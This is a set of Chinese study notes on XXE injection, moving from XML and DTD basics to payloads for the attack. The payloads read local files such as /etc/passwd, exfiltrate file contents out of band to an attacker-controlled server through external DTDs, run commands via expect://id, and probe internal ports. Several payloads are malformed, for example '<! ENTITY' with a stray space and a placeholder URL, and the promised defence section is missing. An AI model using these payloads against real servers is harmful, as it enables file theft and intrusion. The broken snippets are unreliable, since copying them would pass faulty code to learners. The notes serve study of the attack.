学习XXE的部分笔记

借用一句:我们不制造资料,我们只是资料的搬运工。

现在越来越多主要的web程序被发现和报告存在XXE(XML External Entity attack)漏洞,比如说facebook、paypal等等。这就说明了xxe漏洞的重要性,今天就来分(jie)析(yong)一波。
##0x01 xml基础
xml是一种标记电子文件使其具有结构性的标记语言,用来标记数据,定义数据类型,和传输,存储数据[xml w3school教程](http://www.w3school.com.cn/xml/)xml文档包括xml数声明,dtd文档类型定义,以及文档元素
它的设计宗旨是传输数据,而不是显示数据。它的标签没有被预定义。您需要自行定义标签。它被设计为具有自我描述性。它是W3C的推荐标准。
##0x02 xml文档结构
```xml
<?xml version="1.0" ?>

<!DOCTYPE note [
    <!ELEMENT note (to,from,heading,body)>
    <!ELEMENT to (#PCDATA)>
    <!ELEMENT from (#PCDATA)>
    <!ELEMENT heading (#PCDATA)>
    <!ELEMENT body (#PCDATA)>
]>

<note>
<to>aaaa</to>
<from></from>
<heading></heading>
<body></body>
</note>
```
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
1.内部声明DTD`<!DOCTYPE 根元素 [元素声明]>`
2.引用外部DTD`<!DOCTYPE 根元素 SYSTEM "文件名">`或者`<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">`
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
1.内部声明实体`<!ENTITY 实体名称 "实体的值">`
2.引用外部实体`<!ENTITY 实体名称 SYSTEM "URI">`
或者
`<!ENTITY 实体名称 PUBLIC "public_ID" "URI">`
###xxe注入
当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
引入外部实体方式有多种,如下外部实体注入方法一

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY evil SYSTEM "file:///etc/passwd">
]>
<show>&evil;</show>
```
外部实体注入方法二
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY % ccc SYSTEM "http://example.com/dtd/evil.dtd">
%ccc;
]>
<show>&evil;</show>
```
解释下这里的%:参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。
evil.dtd内容为
```xml
<!ENTITY evil SYSTEM "file:///etc/passwd">
```
外部实体注入方法三
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test SYSTEM "http://example.com/dtd/evil.dtd">
<show>&evil;</show>
```
evil.dtd内容为
```xml
<!ENTITY evil SYSTEM "file:///etc/passwd">
```
不同的程序可以支持不同的协议(不止file协议)
如php默认支持的协议有:file,http,ftp,php,compress.zlib,compress.bzip2,data,glob,pharphp中有一些可以解析XML的函数:PHP中的XML解析的5种方法其中simplexml_load函数在部分php版本中会默认自动解析外部实体XXE注入的危害及防御

###XXE的危害
1.读取任意文件
```xml
<?xml version="1.0"?>
<!DOCTYPE ANY [
    <! ENTITY xxe SYSTEM "file:///example/file">
]>
<x>&xxe;</x>    
```
某些xml解析库支持列目录,攻击者可以通过列文件,读目录,获取账号密码后进一步攻击
另一种攻击方法,将文件传至远程服务器
```xml
<?xml version="1.0"?>
<!DOCTYPE ANY [
    <! ENTITY % file SYSTEM "file:///example/evil.dtd">
    <! ENTITY % dtd SYSTEM "http://way to you web server">
%dtd;
%send;
]>
<x>&xxe;</x> 
```
evil.dtd
```xml
<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://192.168.1.122/?%file;'>"
>
%all;
```
触发xxe攻击后,服务器会将文件内容发送到攻击者网站
2.执行系统命令
```xml
<?xml version="1.0"?>
<!DOCTYPE ANY [
    <! ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>  
```
该CASE是在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。
3.探测内网端口
```xml
<?xml version="1.0"?>
<!DOCTYPE ANY [
    <! ENTITY xxe SYSTEM "http://192.168.1.1:81/aaa">
]>
<x>&xxe;</x>  
```
4.攻击内网网站

5.blind xxe
(1)用途:对于传统XXE来说,要求有一点,就是攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件。例如:
如果服务器没有回显,只能使用Blind XXE漏洞来构建一条带外信道提取数据。
(2)参数实体和内部参数实体:
Blink XXE主要使用了DTD约束中的参数实体和内部实体。
参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。
```xml
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE root [  
<!ENTITY % param1 "<!ENTITY internal 'http://www.baidu.com'>">  
%param1;  
]>  
<root>  
[This is my site] &internal;  
</root>  
```
(3)Blind XXE原理:
带外数据通道的建立是使用嵌套形式,利用外部实体中的URL发出访问,从而跟攻击者的服务器发生联系。
直接在内部实体定义中引用另一个实体的方法如下,但是这种方法行不通。
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % param1 "file:///c:/1.txt"><!ENTITY % param2 "http://127.0.0.1/?%param1">%param2;]>
```
于是考虑内部实体嵌套的形式:
```xml
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE root [  
<!ENTITY % param1 "file:///c:/1.txt">  
<!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://127.0.0.1/?%param1;'>">  
%param2;  
]>  
<root>  
[This is my site]  
</root>
```
但是这样做行不通,原因是不能在实体定义中引用参数实体,即有些解释器不允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体。
解决方案是:
将嵌套的实体声明放入到一个外部文件中,这里一般是放在攻击者的服务器上,这样做可以规避错误。
如下:
```xml
<?xml version="1.0"?>  
<!DOCTYPE ANY[  
<!ENTITY % file SYSTEM "file:///C:/1.txt">  
<!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml">  
%remote;  
%all;  
]>  
<root>&send;</root>
```
evil.xml
```xml
<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>"> 
```
实体remote,all,send的引用顺序很重要,首先对remote引用目的是将外部文件evil.xml引入到解释上下文中,然后执行%all,这时会检测到send实体,在root节点中引用send,就可以成功实现数据转发。当然,也直接在DTD中引用send实体,如果在evil.xml中,send是个参数实体的话,即以下方式:
```xml
<?xml version="1.0"?>  
<!DOCTYPE ANY[  
<!ENTITY % file SYSTEM "file:///C:/1.txt">  
<!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml">  
%remote;  
%all;  
%send;  
]>  
```
evil.xml
```xml
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">  
```